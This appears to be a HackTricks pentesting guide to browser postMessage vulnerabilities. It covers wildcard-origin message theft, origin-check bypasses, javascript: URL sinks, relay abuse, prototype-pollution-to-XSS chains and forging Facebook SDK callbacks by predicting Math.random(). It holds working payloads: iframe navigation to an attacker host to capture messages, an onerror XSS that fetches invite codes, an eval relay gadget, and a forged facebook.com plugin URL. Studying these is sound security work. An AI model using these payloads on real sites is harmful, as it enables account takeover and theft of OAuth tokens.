// HackTricks · Web Pentesting

PostMessage Vulnerabilities

PostMessage Vulnerabilities

Send PostMessage

PostMessage uses the following function to send a message:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to a URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOrigin can be '*' or an exact origin such as https://company.com. With an exact origin, the browser delivers the message only if the target window currently has that origin. With '*', the message can be delivered regardless of the target window’s current origin.

Attacking iframe & wildcard in targetOrigin

As explained in this archived report, if a page can be framed (no effective X-Frame-Options or CSP frame-ancestors protection) and sends a sensitive message with a wildcard targetOrigin, an attacker may navigate the iframe to an attacker-controlled origin and receive the message there.[3]
Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won’t work.[3]

<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s

      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>

addEventListener exploitation

JavaScript uses addEventListener to register a handler that receives message events.
A code similar to the following one will be used:

window.addEventListener(
  "message",
  (event) => {
    if (event.origin !== "http://example.org:8080") return

    // ...
  },
  false
)

The handler first checks the sender origin. This is essential whenever received data drives a sensitive action, such as changing a password. Without a strict origin check, an attacker can make a victim page submit arbitrary message data to the handler.

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)[5]
  • Execute in the developer tools console: getEventListeners(window)

addEventListener exploitation - Enumeration: Execute in the developer tools console: getEventListeners(window)

  • Go to Elements —> Event Listeners in the developer tools of the browser

addEventListener exploitation - Enumeration: Go to Elements -- Event Listeners in the developer tools of the browser

Origin check bypasses

  • Do not use event.isTrusted as sender authorization. It indicates whether the browser dispatched the event rather than whether JavaScript called dispatchEvent; it does not prove that a MessageEvent came from a trusted origin or genuine user action. Validate event.origin, and where relevant event.source, instead.[10]

  • The use of indexOf() for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:

    "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • The search() method from String.prototype.search() is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:

    "https://www.safedomain.com".search("www.s.fedomain.com")
  • The match() function, similar to search(), processes regex. If the regex is improperly structured, it might be prone to bypassing.

  • The escapeHtml function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge hasOwnProperty, the escapeHtml won’t perform as expected. This is demonstrated in the examples below:

    • Expected Failure:

      result = u({
        message: "'\"<b>\\",
      })
      result.message // "&#39;&quot;&lt;b&gt;\"
    • Bypassing the escape:

      result = u(new Error("'\"<b>\\"))
      result.message // "'"<b>\"

    In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.

  • The document.domain property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.

Substring scheme checks in message-to-navigation sinks

If a receiver does not validate event.origin, then checks only whether event.data contains http:/https: before assigning it to location.href, the substring check does not constrain the actual URL scheme. Start the value with javascript: and place the required substring after a JavaScript line comment; the browser executes the leading JavaScript URL in the receiver’s origin.[11][12]

<iframe
  src="https://target.example/"
  onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
</iframe>

Here, http: satisfies an indexOf('http:') > -1 filter but is ignored as comment text. Exploitation requires a reference to the target window (for example, a frameable page or popup), an attacker-reachable listener, and a navigation sink that permits the javascript: URL.[11][12]

Origin-only trust + trusted relays

If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:

  • Open the victim page in a popup/iframe that has an opener so its handlers register (many pixels/SDKs only attach listeners when window.opener exists).[4]
  • Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
  • Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.

Abuse patterns seen in the wild:

  • Analytics SDKs (e.g., pixel/fbevents-style) consume messages like FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and include location.href / document.referrer in the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page.
  • Any relay that reflects arbitrary fields into postMessage lets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.

Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.

e.origin == window.origin bypass

When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

Bypassing Sop With Iframes 1

Bypassing e.source

It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):

// If it’s not, return immediately.
if (received_message.source !== window) {
  return
}

You can force e.source of a message to be null by creating an iframe that sends the postMessage and is immediately deleted.

For more information read:

Bypassing Sop With Iframes 2

Framing-protection bypass

These attacks often require placing the victim page in an iframe, but X-Frame-Options and CSP frame-ancestors can prevent framing.
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:[2]

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Stealing message sent to child by blocking the main page

In the following page you can see how you could steal a sensitive postmessage data sent to a child iframe by blocking the main page before sending the data and abusing a XSS in the child to leak the data before it’s received:

Blocking Main Page To Steal Postmessage

Stealing message by modifying iframe location

If a frameable page contains another iframe, an attacker may be able to change the child iframe’s location. If that child receives a postMessage sent with wildcard targetOrigin, navigating it to an attacker-controlled origin can expose the message:

Steal Postmessage Modifying Iframe Location

postMessage to Prototype Pollution and/or XSS

In scenarios where the data sent through postMessage is executed by JS, you can iframe the page and exploit the prototype pollution/XSS sending the exploit via postMessage.

A couple of very good explained XSS though postMessage can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html[1]

Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage to an iframe:

<html>
  <body>
    <iframe
      id="idframe"
      src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
      function get_code() {
        document
          .getElementById("iframe_victim")
          .contentWindow.postMessage(
            '{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
            "*"
          )
        document
          .getElementById("iframe_victim")
          .contentWindow.postMessage(JSON.stringify("refresh"), "*")
      }

      setTimeout(get_code, 2000)
    </script>
  </body>
</html>

For more information:

Origin-derived script loading & supply-chain pivot (CAPIG case study)

capig-events.js only registered a message handler when window.opener existed. On IWL_BOOTSTRAP it checked pixel_id but stored event.origin and later used it to build ${host}/sdk/${pixel_id}/iwl.js.[6]

Handler writing attacker-controlled origin
if (window.opener) {
  window.addEventListener("message", (event) => {
    if (
      !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") &&
      !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") &&
      event.data.msg_type === "IWL_BOOTSTRAP" &&
      checkInList(g.pixels, event.data.pixel_id) !== -1
    ) {
      localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", {
        pixelID: event.data.pixel_id,
        host: event.origin,
        sessionStartTime: event.data.session_start_time,
      })
      startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js`
    }
  })
}

Exploit (origin → script-src pivot):

  1. Get an opener: e.g., in Facebook Android WebView reuse window.name with window.open(target, name) so the window becomes its own opener, then post a message from a malicious iframe.
  2. Send IWL_BOOTSTRAP from any origin to persist host = event.origin in localStorage.
  3. Host /sdk/<pixel_id>/iwl.js on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). startIWL() then loads attacker JS in the embedding site (e.g., www.meta.com), enabling credentialed cross-origin calls and account takeover.

If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted postMessage to the parent to poison the stored host and force the script load.

Backend-generated shared script → stored XSS: the plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.

Trusted-origin allowlist isn’t a boundary

A strict event.origin check only works if the trusted origin cannot run attacker JS. When privileged pages embed third-party iframes and assume event.origin === "https://partner.com" is safe, any XSS in partner.com becomes a bridge into the parent:[7]

// Parent (trusted page)
window.addEventListener("message", (e) => {
  if (e.origin !== "https://partner.com") return
  const [type, html] = e.data.split("|")
  if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Attack pattern observed in the wild:

  1. Exploit XSS in the partner iframe and drop a relay gadget so any postMessage becomes code exec inside the trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, send JS to the compromised iframe that forwards an allowed message type back to the parent. The message originates from partner.com, passes the allowlist, and carries HTML that is inserted unsafely:
postMessage({
  cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. The parent injects the attacker HTML, giving JS execution in the parent origin (e.g., facebook.com), which can then be used to steal OAuth codes or pivot to full account takeover flows.

Key takeaways:

  • Partner origin isn’t a boundary: any XSS in a “trusted” partner lets attackers send allowed messages that bypass event.origin checks.
  • Handlers that render partner-controlled payloads (e.g., innerHTML on specific message types) make partner compromise a same-origin DOM XSS.
  • A wide message surface (many types, no structure validation) gives more gadgets for pivoting once a partner iframe is compromised.

Predicting Math.random() callback tokens in postMessage bridges

When message validation uses a “shared secret” generated with Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:[8][9]

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., window.frames[0].frames[0].location='https://attacker.com') and read window.frames[0].frames[0].name to obtain a raw Math.random() output.
  • Force more outputs without reloads: Some SDKs expose a reinit path; in the FB SDK, firing init:post with {xfbml:1} forces XFBML.parse(), destroys/recreates the plugin iframe, and generates new names/callback IDs. Repeated reinit produces as many PRNG outputs as needed (note extra internal Math.random() calls for callback/iframe IDs, so solvers must skip intervening values).
  • Trusted-origin delivery via parameter pollution: If a first-party plugin endpoint reflects an unsanitized parameter into the cross-window payload (e.g., /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), you can inject &type=...&iconSVG=... while preserving the trusted facebook.com origin.
  • Predict the next callback: Convert leaked iframe names back to floats in [0,1) and feed several values (even non-consecutive) into a V8 Math.random predictor (e.g., Z3-based). Generate the next guid() locally to forge the expected callback token.
  • Trigger the sink: Craft the postMessage data so the bridge dispatches xd.mpn.setupIconIframe and injects HTML in iconSVG (e.g., URL-encoded <img src=x onerror=...>), achieving DOM XSS inside the hosting origin; from there, same-origin iframes (OAuth dialogs, arbiters, etc.) can be read.
  • Framing quirks help: The chain requires framing. In some mobile webviews, X-Frame-Options may degrade to unsupported ALLOW-FROM when frame-ancestors is present, and “compat” parameters can force permissive frame-ancestors, enabling the window.name side channel.

Minimal forged message example

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
  callback +
  "&type=mpn.setupIconIframe&frameName=x" +
  "&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

References